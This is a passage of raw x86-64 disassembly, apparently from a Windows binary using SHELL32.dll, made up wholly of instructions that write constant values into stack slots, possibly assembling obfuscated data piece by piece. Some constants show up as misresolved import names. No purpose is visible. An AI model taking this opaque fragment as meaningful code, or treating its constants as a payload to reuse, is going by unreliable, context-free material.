mov byte [rsp + 0xc8], 0xe3
mov byte [rsp + 0xc9], 0x59
mov dword [rsp + 0x83e8], 0xf7a
mov eax, 0x2cd
mov word [rsp + 0x19e4], ax
mov dword [rsp + 0x83ec], 0xe156
mov dword [rsp + 0x83f0], 0x557f
mov byte [rsp + 0xca], 0x57
mov dword [rsp + 0x83f4], 0x4f96
mov byte [rsp + 0xcb], 0x98
mov eax, 0x642
mov word [rsp + 0x19e8], ax
mov dword [rsp + 0x83f8], 0x3376
mov dword [rsp + 0x83fc], 0x27d1
mov eax, 0x5dc
mov word [rsp + 0x19ec], ax
mov dword [rsp + 0x8400], 0xa492
mov dword [rsp + 0x8404], 0xc568
mov eax, 0x1c1
mov word [rsp + 0x19f0], ax
mov dword [rsp + 0x8408], 0xb5d5
mov dword [rsp + 0x840c], 0x1a8
mov dword [rsp + 0x8410], 0xff73
mov dword [rsp + 0x8414], 0x7a2e
mov eax, 0xa3
mov word [rsp + 0x19f4], ax
mov eax, 0x582
mov word [rsp + 0x19f8], ax
mov dword [rsp + 0x8418], 0x1fe2
mov dword [rsp + 0x841c], 0x5d40
mov byte [rsp + 0xcc], 0xd4
mov byte [rsp + 0xcd], 0xd
mov eax, 0x2df
mov word [rsp + 0x19fc], ax
mov dword [rsp + 0x8420], 0x5ee7
mov byte [rsp + 0xce], ILFindChild
mov dword [rsp + 0x8424], 0xff45
mov dword [rsp + 0x8428], 0x956
mov eax, 0x29
mov word [rsp + 0x1a00], ax
mov dword [rsp + 0x842c], 0x5e22
mov byte [rsp + 0xcf], 4
mov dword [rsp + 0x8430], 0xbaa9
mov dword [rsp + 0x8434], 0x78bc
mov dword [rsp + 0x8438], 0x5155
mov dword [rsp + 0x843c], 0x743f
mov byte [rsp + 0xd0], 0x7f
mov eax, 0x455
mov word [rsp + 0x1a04], ax
mov dword [rsp + 0x8440], 0x1a11
mov dword [rsp + 0x8444], 0x1424
mov dword [rsp + 0x8448], 0xbc65
mov dword [rsp + 0x844c], 0x7fa2
mov eax, 0x889
mov word [rsp + 0x1a08], ax
mov byte [rsp + 0xd1], 0x73
mov eax, 0x59e
mov word [rsp + 0x1a0c], ax
mov byte [rsp + 0xd2], 0x77
mov dword [rsp + 0x8450], 0x244b
mov byte [rsp + 0xd3], 0x6a
mov dword [rsp + 0x8454], 0x45cb
mov byte [rsp + 0xd4], 0x39
mov dword [rsp + 0x8458], 0x5c17
mov dword [rsp + 0x845c], 0x1f6d
mov dword [rsp + 0x8460], 0xa347
mov dword [rsp + 0x8464], 0x435b
mov eax, 0x3c1
mov word [rsp + 0x1a10], ax
mov dword [rsp + 0x8468], 0x2cd3
mov dword [rsp + 0x846c], 0xbace
mov byte [rsp + 0xd5], 0xcf
mov eax, 0x9dc
mov word [rsp + 0x1a14], ax
mov dword [rsp + 0x8470], 0x2ba8
mov dword [rsp + 0x8474], 0x2a5e
mov byte [rsp + 0xd6], 0xb1
mov dword [rsp + 0x8478], 0x7906
mov dword [rsp + 0x847c], 0x1934
mov dword [rsp + 0x8480], 0x2911
mov eax, 0xb69
mov word [rsp + 0x1a18], ax
mov dword [rsp + 0x8484], 0x2ef2
mov dword [rsp + 0x8488], 0x28b9
mov dword [rsp + 0x848c], 0x5ca7
mov eax, 0xdaf
mov word [rsp + 0x1a1c], ax
mov dword [rsp + 0x8490], 0x3f1f
mov dword [rsp + 0x8494], 0x7542
mov eax, 0x3ee
mov word [rsp + 0x1a20], ax
mov dword [rsp + 0x8498], 0xd591
mov dword [rsp + 0x849c], 0x37ba
mov dword [rsp + 0x84a0], 0x942f
mov eax, 0x198
mov word [rsp + 0x1a24], ax
mov byte [rsp + 0xd7], 0xbd
mov byte [rsp + 0xd8], 0x65
mov byte [rsp + 0xd9], 0x7d
mov eax, 0x3b4
mov word [rsp + 0x1a28], ax
mov byte [rsp + 0xda], 0xd
mov dword [rsp + 0x84a4], 0x584b
mov dword [rsp + 0x84a8], 0x5e47
mov dword [rsp + 0x84ac], 0x3d08
mov eax, 0x44d
mov word [rsp + 0x1a2c], ax
mov dword [rsp + 0x84b0], 0xad7
mov dword [rsp + 0x84b4], 0xe1
mov dword [rsp + 0x84b8], 0xaa5b
mov byte [rsp + 0xdb], 0x56
mov dword [rsp + 0x84bc], 0x7d9e
mov eax, 0x3c2
mov word [rsp + 0x1a30], ax
mov eax, 0x21f
mov word [rsp + 0x1a34], ax
mov dword [rsp + 0x84c0], 0x2e16
mov byte [rsp + 0xdc], 0xf5
mov dword [rsp + 0x84c4], 0x49e9
mov dword [rsp + 0x84c8], 0x7a0e
mov dword [rsp + 0x84cc], 0x24b9
mov dword [rsp + 0x84d0], 0x1dd4
mov dword [rsp + 0x84d4], 0xef93
mov eax, 0x117
mov word [rsp + 0x1a38], ax
mov dword [rsp + 0x84d8], 0x1368
mov dword [rsp + 0x84dc], 0x2af0
mov eax, 0x6ac
mov word [rsp + 0x1a3c], ax
mov byte [rsp + 0xdd], 0xde
mov eax, 0xa29
mov word [rsp + 0x1a40], ax
mov dword [rsp + 0x84e0], 0x2c72
mov byte [rsp + 0xde], 0xa3
mov byte [rsp + 0xdf], 0xc5
mov dword [rsp + 0x84e4], 0x469a
mov dword [rsp + 0x84e8], 0x6c3f
mov dword [rsp + 0x84ec], 0x7090
mov eax, 0x831
mov word [rsp + 0x1a44], ax
mov byte [rsp + 0xe0], ILFindChild
mov byte [rsp + 0xe1], 0xd1
mov eax, 0x3d0
mov word [rsp + 0x1a48], ax
mov dword [rsp + 0x84f0], 0x7342
mov dword [rsp + 0x84f4], 0x10a
mov eax, 0x587
mov word [rsp + 0x1a4c], ax
mov byte [rsp + 0xe2], 0xd4
mov dword [rsp + 0x84f8], 0x2d0b
mov eax, 0x573
mov word [rsp + 0x1a50], ax
mov eax, 0x628
mov word [rsp + 0x1a54], ax
mov dword [rsp + 0x84fc], 0x21ed
mov dword [rsp + 0x8500], 0x6854
mov dword [rsp + 0x8504], 0x4f31
mov dword [rsp + 0x8508], 0xe520
mov eax, 0xb19
mov word [rsp + 0x1a58], ax
mov eax, 0xf5
mov word [rsp + 0x1a5c], ax
mov dword [rsp + 0x850c], 0xb51
mov dword [rsp + 0x8510], 0x6bdf
mov byte [rsp + 0xe3], 0x50
mov byte [rsp + 0xe4], 0xe1
mov dword [rsp + 0x8514], 0x2b46
mov byte [rsp + 0xe5], 0x71
mov dword [rsp + 0x8518], 0x77a9
mov dword [rsp + 0x851c], 0x3ef5
mov eax, 0xa22
mov word [rsp + 0x1a60], ax
mov dword [rsp + 0x8520], 0x69fd
mov eax, 0x7f3
mov word [rsp + 0x1a64], ax
mov dword [rsp + 0x8524], 0xd5d
mov byte [rsp + 0xe6], 0x4c
mov eax, 0x4f6
mov word [rsp + 0x1a68], ax
mov dword [rsp + 0x8528], 0x37
mov eax, 0x713
mov word [rsp + 0x1a6c], ax
mov dword [rsp + 0x852c], 0x1074
mov dword [rsp + 0x8530], 0x5cd5
mov dword [rsp + 0x8534], 0x1b35
mov eax, 0x7f0
mov word [rsp + 0x1a70], ax
mov eax, 0xb42
mov word [rsp + 0x1a74], ax
mov dword [rsp + 0x8538], 0xfb3e
mov eax, 0xef4
mov word [rsp + 0x1a78], ax
mov byte [rsp + 0xe7], 0x27
mov eax, 0x837
mov word [rsp + 0x1a7c], ax
mov dword [rsp + 0x853c], 0x56ec
mov dword [rsp + 0x8540], 0xc96c
mov dword [rsp + 0x8544], 0xe0ae
mov eax, 0xbef
mov word [rsp + 0x1a80], ax
mov eax, 0xa53
mov word [rsp + 0x1a84], ax
mov eax, 0xc35
mov word [rsp + 0x1a88], ax
mov dword [rsp + 0x8548], 0x675f
mov eax, 0x2b
mov word [rsp + 0x1a8c], ax
mov byte [rsp + 0xe8], ILSaveToStream
mov byte [rsp + 0xe9], 0x4f
mov dword [rsp + 0x854c], 0x266c
mov dword [rsp + 0x8550], 0x5b98
mov dword [rsp + 0x8554], 0x418a
mov eax, 0x5d4
mov word [rsp + 0x1a90], ax
mov dword [rsp + 0x8558], 0xa972
mov eax, 0x2eb
mov word [rsp + 0x1a94], ax
mov eax, 0x9ad
mov word [rsp + 0x1a98], ax
mov eax, 0xde8
mov word [rsp + 0x1a9c], ax
mov eax, 0x432
mov word [rsp + 0x1aa0], ax
mov dword [rsp + 0x855c], 0xc4f1
mov dword [rsp + 0x8560], 0x2ce0
mov byte [rsp + 0xea], 0x47
mov dword [rsp + 0x8564], 0x512b
mov dword [rsp + 0x8568], 0x4ab1
mov dword [rsp + 0x856c], 0x67d7
mov dword [rsp + 0x8570], 0x6da5
mov byte [rsp + 0xeb], 0x1c
mov byte [rsp + 0xec], 5
mov byte [rsp + 0xed], 0xbf
mov eax, 0x169
mov word [rsp + 0x1aa4], ax
mov dword [rsp + 0x8574], 0x7638
mov dword [rsp + 0x8578], 0x1d7c
mov dword [rsp + 0x857c], 0x811c
mov dword [rsp + 0x8580], 0x758d
mov dword [rsp + 0x8584], 0x9d8
mov eax, 0x25c
mov word [rsp + 0x1aa8], ax
mov dword [rsp + 0x8588], 0x527d
mov byte [rsp + 0xee], 0xa8
mov dword [rsp + 0x858c], 0x42d8
mov byte [rsp + 0xef], 0xe
mov dword [rsp + 0x8590], 0x2f05
mov dword [rsp + 0x8594], 0x95b6
mov eax, 0xc7b
mov word [rsp + 0x1aac], ax
mov dword [rsp + 0x8598], 0x55be
mov dword [rsp + 0x859c], 0x29b2
mov eax, 0x624
mov word [rsp + 0x1ab0], ax
mov dword [rsp + 0x85a0], 0x48c9
mov dword [rsp + 0x85a4], 0x412d
mov dword [rsp + 0x85a8], 0x5dff
mov byte [rsp + 0xf0], 0x4c
mov dword [rsp + 0x85ac], 0xddf7
mov eax, 0xe2e
mov word [rsp + 0x1ab4], ax
mov dword [rsp + 0x85b0], 0x4286
mov dword [rsp + 0x85b4], 0x3bcf
mov dword [rsp + 0x85b8], 0x2348
mov dword [rsp + 0x85bc], 0x7500
mov dword [rsp + 0x85c0], 0x3fe4
mov byte [rsp + 0xf1], 0x39
mov dword [rsp + 0x85c4], 0x34ba
mov eax, 0xb2
mov word [rsp + 0x1ab8], ax
mov dword [rsp + 0x85c8], 0x397f
mov dword [rsp + 0x85cc], 0x813e
mov dword [rsp + 0x85d0], 0x7c5d
mov dword [rsp + 0x85d4], 0x4b44
mov dword [rsp + 0x85d8], 0xa20a
mov dword [rsp + 0x85dc], 0x8b10
mov dword [rsp + 0x85e0], 0xac30
mov dword [rsp + 0x85e4], 0x5c73
mov eax, 0x301
mov word [rsp + 0x1abc], ax
mov dword [rsp + 0x85e8], 0x22bb
mov eax, 0x84b
mov word [rsp + 0x1ac0], ax
mov dword [rsp + 0x85ec], 0x1a43
mov dword [rsp + 0x85f0], 0x390d
mov eax, 0xe58
mov word [rsp + 0x1ac4], ax
mov eax, 0xa3c
mov word [rsp + 0x1ac8], ax
mov byte [rsp + 0xf2], 0x2a
mov dword [rsp + 0x85f4], 0x37f7
mov byte [rsp + 0xf3], 0xb9
mov dword [rsp + 0x85f8], 0x5b47
mov eax, 0x7ec
mov word [rsp + 0x1acc], ax
mov byte [rsp + 0xf4], 0x5c
mov eax, 0x134
mov word [rsp + 0x1ad0], ax
mov dword [rsp + 0x85fc], 0x37b
mov byte [rsp + 0xf5], 3
mov dword [rsp + 0x8600], 0x90a3
mov dword [rsp + 0x8604], 0x5e77
mov eax, 0x1f9
mov word [rsp + 0x1ad4], ax
mov byte [rsp + 0xf6], 0x43
mov dword [rsp + 0x8608], 0x1b3f
mov dword [rsp + 0x860c], 0x4744
mov eax, 0xa64
mov word [rsp + 0x1ad8], ax
mov eax, 0x363
mov word [rsp + 0x1adc], ax
mov dword [rsp + 0x8610], 0xa17e
mov dword [rsp + 0x8614], 0x317b
mov eax, 0xc85
mov word [rsp + 0x1ae0], ax
mov dword [rsp + 0x8618], 0x2a3
mov byte [rsp + 0xf7], 0x85
mov byte [rsp + 0xf8], 0x42
mov dword [rsp + 0x861c], 0x33be
mov eax, 0x402
mov word [rsp + 0x1ae4], ax
mov byte [rsp + 0xf9], 0x6a
mov eax, 0xc62
mov word [rsp + 0x1ae8], ax
mov eax, 0x1d2
mov word [rsp + 0x1aec], ax
mov byte [rsp + 0xfa], 0x71
mov dword [rsp + 0x8620], 0x2734
mov byte [rsp + 0xfb], 0x1d
mov eax, 0xaf3
mov word [rsp + 0x1af0], ax
mov byte [rsp + 0xfc], 0x82
mov byte [rsp + 0xfd], 0x62
mov dword [rsp + 0x8624], 0xbd38
mov byte [rsp + 0xfe], 0xd7
mov dword [rsp + 0x8628], 0x4258
mov dword [rsp + 0x862c], 0x3d25
mov eax, 0x869
mov word [rsp + 0x1af4], ax
mov dword [rsp + 0x8630], 0x4030
mov byte [rsp + 0xff], 0xe8
mov byte [rsp + 0x100], ILFindChild
mov dword [rsp + 0x8634], 0x4013
mov dword [rsp + 0x8638], 0x3292
mov eax, 0xf62
mov word [rsp + 0x1af8], ax
mov byte [rsp + 0x101], 0xd4
mov byte [rsp + 0x102], 0x6a
mov byte [rsp + 0x103], 0x31
mov dword [rsp + 0x863c], 0x123f
mov eax, 0x931
mov word [rsp + 0x1afc], ax
mov dword [rsp + 0x8640], 0x217
mov dword [rsp + 0x8644], 0x16
mov dword [rsp + 0x8648], 0x35b6
mov dword [rsp + 0x864c], 0x43a5
mov eax, 0xfd3
mov word [rsp + 0x1b00], ax
mov dword [rsp + 0x8650], 0xcce3
mov eax, 0x40c
mov word [rsp + 0x1b04], ax
mov byte [rsp + 0x104], 0x24
mov byte [rsp + 0x105], 0xb2
mov eax, 0x9b3
mov word [rsp + 0x1b08], ax
mov dword [rsp + 0x8654], 0x44d0
mov eax, 0xf35
mov word [rsp + 0x1b0c], ax
mov byte [rsp + 0x106], 0x20
mov dword [rsp + 0x8658], 0x6261
mov dword [rsp + 0x865c], 0x81fc
mov eax, 0x320
mov word [rsp + 0x1b10], ax
mov byte [rsp + 0x107], 0xda
mov eax, 0x25d
mov word [rsp + 0x1b14], ax
mov eax, 0x765
mov word [rsp + 0x1b18], ax
mov eax, 0xf5c
mov word [rsp + 0x1b1c], ax
mov dword [rsp + 0x8660], 0x52c7
mov byte [rsp + 0x108], 0x20
mov eax, 0x406
mov word [rsp + 0x1b20], ax
mov byte [rsp + 0x109], 0x2b
mov byte [rsp + 0x10a], 0x2c
mov eax, 0xad7
mov word [rsp + 0x1b24], ax
mov dword [rsp + 0x8664], 0x67dc
mov byte [rsp + 0x10b], ILFindChild
mov dword [rsp + 0x8668], 0x204d
mov dword [rsp + 0x866c], 0x51aa
mov byte [rsp + 0x10c], 0xa8
mov eax, 0x176
mov word [rsp + 0x1b28], ax
mov dword [rsp + 0x8670], 0x8291
mov dword [rsp + 0x8674], 0xa441
mov dword [rsp + 0x8678], 0x468e
mov byte [rsp + 0x10d], 0x37
mov eax, 0x4a7
mov word [rsp + 0x1b2c], ax
mov dword [rsp + 0x867c], 0x5a8b
mov eax, 0x80a
mov word [rsp + 0x1b30], ax
mov eax, 0x2d8
mov word [rsp + 0x1b34], ax
mov dword [rsp + 0x8680], 0x452a
mov dword [rsp + 0x8684], 0x20a1
mov byte [rsp + 0x10e], 0x62
mov byte [rsp + 0x10f], 0xb2
mov byte [rsp + 0x110], 0x36
mov eax, 0xbf4
mov word [rsp + 0x1b38], ax
mov dword [rsp + 0x8688], 0x3624
mov dword [rsp + 0x868c], 0xcced
mov dword [rsp + 0x8690], 0x2acf
mov eax, 0x1da
mov word [rsp + 0x1b3c], ax
mov dword [rsp + 0x8694], 0x490d
mov dword [rsp + 0x8698], 0x4096
mov dword [rsp + 0x869c], 0x3ed7
mov byte [rsp + 0x111], 0xd3
mov dword [rsp + 0x86a0], 0x7153
mov dword [rsp + 0x86a4], 0x3dca
mov dword [rsp + 0x86a8], 0x26cf
mov eax, 0x5b4
mov word [rsp + 0x1b40], ax
mov byte [rsp + 0x112], 0x5b
mov byte [rsp + 0x113], 0x94
mov dword [rsp + 0x86ac], 0x579c
mov dword [rsp + 0x86b0], 0xd3ad
mov byte [rsp + 0x114], 0x24
mov dword [rsp + 0x86b4], 0x7b17
mov eax, 0xa99
mov word [rsp + 0x1b44], ax
mov dword [rsp + 0x86b8], 0x4920
mov dword [rsp + 0x86bc], 0x4b70
mov eax, 0xaf
mov word [rsp + 0x1b48], ax
mov dword [rsp + 0x86c0], 0x55bf
mov eax, 0x186
mov word [rsp + 0x1b4c], ax
mov byte [rsp + 0x115], 0xc
mov dword [rsp + 0x86c4], 0x3569
mov eax, 0xe59
mov word [rsp + 0x1b50], ax
mov eax, 0x601
mov word [rsp + 0x1b54], ax
mov dword [rsp + 0x86c8], 0x3b03
mov byte [rsp + 0x116], 0x60
mov byte [rsp + 0x117], 0x4e
mov dword [rsp + 0x86cc], 0x73cd
mov dword [rsp + 0x86d0], 0x59ee
mov dword [rsp + 0x86d4], 0x65ec
mov byte [rsp + 0x118], 0xb8
mov dword [rsp + 0x86d8], 0x6ab
mov byte [rsp + 0x119], 0x85
mov byte [rsp + 0x11a], 0x91
mov dword [rsp + 0x86dc], 0x52d9
mov dword [rsp + 0x86e0], 0x57a3
mov byte [rsp + 0x11b], 0x27
mov dword [rsp + 0x86e4], 0x8acf
mov dword [rsp + 0x86e8], 0x17de
mov byte [rsp + 0x11c], 0x3b
mov dword [rsp + 0x86ec], 0xd55
mov byte [rsp + 0x11d], 0x4f
mov dword [rsp + 0x86f0], 0x28a2
mov byte [rsp + 0x11e], 0x93
mov dword [rsp + 0x86f4], 0xa036
mov dword [rsp + 0x86f8], 0x3b1a
mov byte [rsp + 0x11f], 0x6b
mov dword [rsp + 0x86fc], 0x163a
mov dword [rsp + 0x8700], 0xcb0f
mov dword [rsp + 0x8704], 0xb4c6
mov dword [rsp + 0x8708], 0x13b1
mov byte [rsp + 0x120], 0xf1
mov eax, 0x353
mov word [rsp + 0x1b58], ax
mov dword [rsp + 0x870c], 0x6f63
mov byte [rsp + 0x121], 0x6a
mov dword [rsp + 0x8710], 0x516e
mov dword [rsp + 0x8714], 0x3e21
mov eax, 0xaa0
mov word [rsp + 0x1b5c], ax
mov dword [rsp + 0x8718], 0x34d7
mov dword [rsp + 0x871c], 0x6ae3
mov eax, 0x345
mov word [rsp + 0x1b60], ax
mov dword [rsp + 0x8720], 0xdfdd
mov dword [rsp + 0x8724], 0x2ea8
mov dword [rsp + 0x8728], 0xa4f6
mov eax, 0xdf9
mov word [rsp + 0x1b64], ax
mov dword [rsp + 0x872c], 0x388
mov dword [rsp + 0x8730], 0xedb3
mov dword [rsp + 0x8734], 0x12b3
mov dword [rsp + 0x8738], 0x4d00
mov eax, 0xe15
mov word [rsp + 0x1b68], ax
mov dword [rsp + 0x873c], 0x9303
mov dword [rsp + 0x8740], 0x2db6
mov eax, 0xaa4
mov word [rsp + 0x1b6c], ax
mov byte [rsp + 0x122], 0xbe
mov dword [rsp + 0x8744], 0x6c39
mov dword [rsp + 0x8748], 0x77c8
mov dword [rsp + 0x874c], 0x3bef
mov dword [rsp + 0x8750], 0x43cf
mov dword [rsp + 0x8754], 0x181a
mov eax, 0x4d7
mov word [rsp + 0x1b70], ax
mov dword [rsp + 0x8758], 0x2630
mov byte [rsp + 0x123], 2
mov eax, 0xf0
mov word [rsp + 0x1b74], ax
mov eax, 0xc51
mov word [rsp + 0x1b78], ax
mov eax, 0x957
mov word [rsp + 0x1b7c], ax
mov dword [rsp + 0x875c], 0x3f20
mov dword [rsp + 0x8760], 0x2efc
mov dword [rsp + 0x8764], 0x5999
mov dword [rsp + 0x8768], 0x2b83
mov byte [rsp + 0x124], 0xa6
mov dword [rsp + 0x876c], 0x6f61
mov eax, 0x5eb
mov word [rsp + 0x1b80], ax
mov dword [rsp + 0x8770], 0xd88
mov dword [rsp + 0x8774], 0x52b0
mov dword [rsp + 0x8778], 0x658f
mov eax, 0x7f
mov word [rsp + 0x1b84], ax
mov dword [rsp + 0x877c], 0x2a60
mov byte [rsp + 0x125], 0xc8
mov dword [rsp + 0x8780], 0xa60b
mov byte [rsp + 0x126], 0x5e
mov dword [rsp + 0x8784], 0x677
mov byte [rsp + 0x127], 0xe5
mov dword [rsp + 0x8788], 0x1485
mov dword [rsp + 0x878c], 0x4e92
mov dword [rsp + 0x8790], 0x804
mov byte [rsp + 0x128], 0xe
mov dword [rsp + 0x8794], 0x2e34
mov dword [rsp + 0x8798], 0x67
mov byte [rsp + 0x129], 0x59
mov eax, 0xd5e
mov word [rsp + 0x1b88], ax
mov dword [rsp + 0x879c], 0x519e
mov byte [rsp + 0x12a], 0x48
mov byte [rsp + 0x12b], 0xbc
mov dword [rsp + 0x87a0], 0x1bde
mov dword [rsp + 0x87a4], 0x10f
mov dword [rsp + 0x87a8], 0x3da3
mov eax, 0x906
mov word [rsp + 0x1b8c], ax
mov dword [rsp + 0x87ac], 0x4ff
mov byte [rsp + 0x12c], 0x5e
mov dword [rsp + 0x87b0], 0xc174
mov byte [rsp + 0x12d], 0x54
mov byte [rsp + 0x12e], 0xe7
mov dword [rsp + 0x87b4], 0x12c9
mov dword [rsp + 0x87b8], 0x3c04
mov dword [rsp + 0x87bc], 0x5698
mov eax, 0x3ce
mov word [rsp + 0x1b90], ax
mov dword [rsp + 0x87c0], 0xf015
mov eax, 0x2c4
mov word [rsp + 0x1b94], ax
mov dword [rsp + 0x87c4], 0x3c41
mov dword [rsp + 0x87c8], 0x5051
mov eax, 0x7d
mov word [rsp + 0x1b98], ax
mov dword [rsp + 0x87cc], 0xe6d
mov eax, 0xcc9
mov word [rsp + 0x1b9c], ax
mov byte [rsp + 0x12f], 0xf5
mov byte [rsp + 0x130], 0x2c
mov byte [rsp + 0x131], 0x7e
mov byte [rsp + 0x132], 0x26
mov eax, 0x135
mov word [rsp + 0x1ba0], ax
mov dword [rsp + 0x87d0], 0x68e3
mov eax, 0x6f9
mov word [rsp + 0x1ba4], ax
mov dword [rsp + 0x87d4], 0xe6
mov eax, 0x2a4
mov word [rsp + 0x1ba8], ax
mov dword [rsp + 0x87d8], 0x7754
mov dword [rsp + 0x87dc], 0x784c
mov dword [rsp + 0x87e0], 0x3784
mov dword [rsp + 0x87e4], 0x1163
mov eax, 0x76a
mov word [rsp + 0x1bac], ax
mov eax, 0x85
mov word [rsp + 0x1bb0], ax
mov eax, 0xbb1
mov word [rsp + 0x1bb4], ax
mov dword [rsp + 0x87e8], 0xc92
mov dword [rsp + 0x87ec], 0x29bd
mov eax, 0x31a
mov word [rsp + 0x1bb8], ax
mov eax, 0xb9
mov word [rsp + 0x1bbc], ax
mov eax, 0xe63
mov word [rsp + 0x1bc0], ax
mov dword [rsp + 0x87f0], 0xa1c2
mov eax, 0xda3
mov word [rsp + 0x1bc4], ax
mov dword [rsp + 0x87f4], 0x36b0
mov eax, 0x223
mov word [rsp + 0x1bc8], ax
mov dword [rsp + 0x87f8], 0x34e3
mov eax, 0xcf2
mov word [rsp + 0x1bcc], ax
mov dword [rsp + 0x87fc], 0x3b1f
mov eax, 0x7d1
mov word [rsp + 0x1bd0], ax
mov dword [rsp + 0x8800], 0x7c8f
mov eax, 0x8f
mov word [rsp + 0x1bd4], ax
mov eax, 0x83c
mov word [rsp + 0x1bd8], ax
mov dword [rsp + 0x8804], 0x901e
mov byte [rsp + 0x133], 0x74
mov dword [rsp + 0x8808], 0x22f
mov dword [rsp + 0x880c], 0x6032
mov dword [rsp + 0x8810], 0x4ac7
mov byte [rsp + 0x134], 0xab
mov dword [rsp + 0x8814], 0x5b70
mov dword [rsp + 0x8818], 0x6477
mov byte [rsp + 0x135], 5
mov dword [rsp + 0x881c], 0x1ee3
mov eax, 0x2b
mov word [rsp + 0x1bdc], ax
mov eax, 0x230
mov word [rsp + 0x1be0], ax
mov dword [rsp + 0x8820], 0xe437
mov eax, 0x292
mov word [rsp + 0x1be4], ax
mov dword [rsp + 0x8824], 0x50c3
mov dword [rsp + 0x8828], 0x7b58
mov byte [rsp + 0x136], 0xb
mov dword [rsp + 0x882c], 0x7d1f
mov dword [rsp + 0x8830], 0x5e82
mov eax, 0x3b4
mov word [rsp + 0x1be8], ax
mov dword [rsp + 0x8834], 0x3e85
mov eax, 0x139
mov word [rsp + 0x1bec], ax
mov dword [rsp + 0x8838], 0x6e6a
mov dword [rsp + 0x883c], 0x6e95
mov eax, 0x8ff
mov word [rsp + 0x1bf0], ax
mov eax, 0xee5
mov word [rsp + 0x1bf4], ax
mov dword [rsp + 0x8840], 0x774b
mov dword [rsp + 0x8844], 0x4927
mov dword [rsp + 0x8848], 0x8725
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x1bf8], ax
mov dword [rsp + 0x884c], 0x5ca6
mov dword [rsp + 0x8850], 0x3a2c
mov dword [rsp + 0x8854], 0x7156
mov eax, 0xd64
mov word [rsp + 0x1bfc], ax
mov dword [rsp + 0x8858], 0x6db6
mov byte [rsp + 0x137], 0x7d
mov eax, 0x710
mov word [rsp + 0x1c00], ax
mov byte [rsp + 0x138], 0x50
mov dword [rsp + 0x885c], 0x649a
mov dword [rsp + 0x8860], 0xecc7
mov dword [rsp + 0x8864], 0x4e2
mov byte [rsp + 0x139], 0x27
mov dword [rsp + 0x8868], 0xee8
mov dword [rsp + 0x886c], 0x399
mov dword [rsp + 0x8870], 0xa16b
mov eax, 0x312
mov word [rsp + 0x1c04], ax
mov dword [rsp + 0x8874], 0x36ec
mov byte [rsp + 0x13a], 0x61
mov dword [rsp + 0x8878], 0xc53
mov byte [rsp + 0x13b], 0x80
mov byte [rsp + 0x13c], 0x7c
mov eax, 0xf3e
mov word [rsp + 0x1c08], ax
mov dword [rsp + 0x887c], 0xc873
mov byte [rsp + 0x13d], 0x81
mov dword [rsp + 0x8880], 0x5a52
mov dword [rsp + 0x8884], 0xc29
mov dword [rsp + 0x8888], 0xc79e
mov dword [rsp + 0x888c], 0x4a7f
mov eax, 0xee7
mov word [rsp + 0x1c0c], ax
mov byte [rsp + 0x13e], 0x6a
mov dword [rsp + 0x8890], 0x3722
mov dword [rsp + 0x8894], 0x54ac
mov dword [rsp + 0x8898], 0x2dc4
mov byte [rsp + 0x13f], 0xa6
mov byte [rsp + 0x140], 5
mov dword [rsp + 0x889c], 0x3b17
mov eax, 0xd28
mov word [rsp + 0x1c10], ax
mov dword [rsp + 0x88a0], 0x16d6
mov byte [rsp + 0x141], 0x95
mov eax, 0x62a
mov word [rsp + 0x1c14], ax
mov dword [rsp + 0x88a4], 0x507f
mov byte [rsp + 0x142], 0x3a
mov eax, 0x393
mov word [rsp + 0x1c18], ax
mov dword [rsp + 0x88a8], 0x1dd3
mov byte [rsp + 0x143], 0xee
mov dword [rsp + 0x88ac], 0x4b6e
mov dword [rsp + 0x88b0], 0x21ac
mov dword [rsp + 0x88b4], 0x110e
mov dword [rsp + 0x88b8], 0x7906
mov dword [rsp + 0x88bc], 0x3eae
mov eax, 0xcb
mov word [rsp + 0x1c1c], ax
mov dword [rsp + 0x88c0], 0x73cf
mov dword [rsp + 0x88c4], 0x4466
mov byte [rsp + 0x144], ILFindChild
mov dword [rsp + 0x88c8], 0xbb80
mov byte [rsp + 0x145], 0xc3
mov dword [rsp + 0x88cc], 0x1211
mov dword [rsp + 0x88d0], 0x46a4
mov eax, 0xb19
mov word [rsp + 0x1c20], ax
mov byte [rsp + 0x146], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x88d4], 0x24c4
mov dword [rsp + 0x88d8], 0x5ce6
mov eax, 0x45e
mov word [rsp + 0x1c24], ax
mov dword [rsp + 0x88dc], 0xb312
mov dword [rsp + 0x88e0], 0x6d4c
mov dword [rsp + 0x88e4], 0xa4d
mov eax, 0x6d9
mov word [rsp + 0x1c28], ax
mov dword [rsp + 0x88e8], 0x324
mov byte [rsp + 0x147], 0x3b
mov eax, 0x92a
mov word [rsp + 0x1c2c], ax
mov eax, 0xcfb
mov word [rsp + 0x1c30], ax
mov byte [rsp + 0x148], 0x1f
mov dword [rsp + 0x88ec], 0x7c49
mov byte [rsp + 0x149], 0x67
mov eax, 0x66d
mov word [rsp + 0x1c34], ax
mov dword [rsp + 0x88f0], 0x1b08
mov byte [rsp + 0x14a], 0xe5
mov eax, 0xbdb
mov word [rsp + 0x1c38], ax
mov dword [rsp + 0x88f4], 0xc7a
mov dword [rsp + 0x88f8], 0x48bc
mov dword [rsp + 0x88fc], 0x39aa
mov dword [rsp + 0x8900], 0xc30
mov dword [rsp + 0x8904], 0xee31
mov dword [rsp + 0x8908], 0x7b5f
mov byte [rsp + 0x14b], 0x37
mov dword [rsp + 0x890c], 0x7ec2
mov dword [rsp + 0x8910], 0x54b2
mov dword [rsp + 0x8914], 0x1e98
mov dword [rsp + 0x8918], 0x7f53
mov eax, 0xc58
mov word [rsp + 0x1c3c], ax
mov dword [rsp + 0x891c], 0x4be8
mov dword [rsp + 0x8920], 0x2645
mov dword [rsp + 0x8924], 0x10af
mov byte [rsp + 0x14c], 3
mov dword [rsp + 0x8928], 0x8c7a
mov dword [rsp + 0x892c], 0xcdc4
mov dword [rsp + 0x8930], 0x45df
mov dword [rsp + 0x8934], 0x3458
mov dword [rsp + 0x8938], 0x48e8
mov byte [rsp + 0x14d], 0x40
mov dword [rsp + 0x893c], 0x46a8
mov dword [rsp + 0x8940], 0x6351
mov dword [rsp + 0x8944], 0x2601
mov dword [rsp + 0x8948], 0x26b
mov dword [rsp + 0x894c], 0x3f50
mov byte [rsp + 0x14e], 0x4b
mov dword [rsp + 0x8950], 0x1d94
mov dword [rsp + 0x8954], 0x4e88
mov dword [rsp + 0x8958], 0x5962
mov dword [rsp + 0x895c], 0x2403
mov eax, 0x495
mov word [rsp + 0x1c40], ax
mov byte [rsp + 0x14f], 0xfa
mov byte [rsp + 0x150], 0x8b
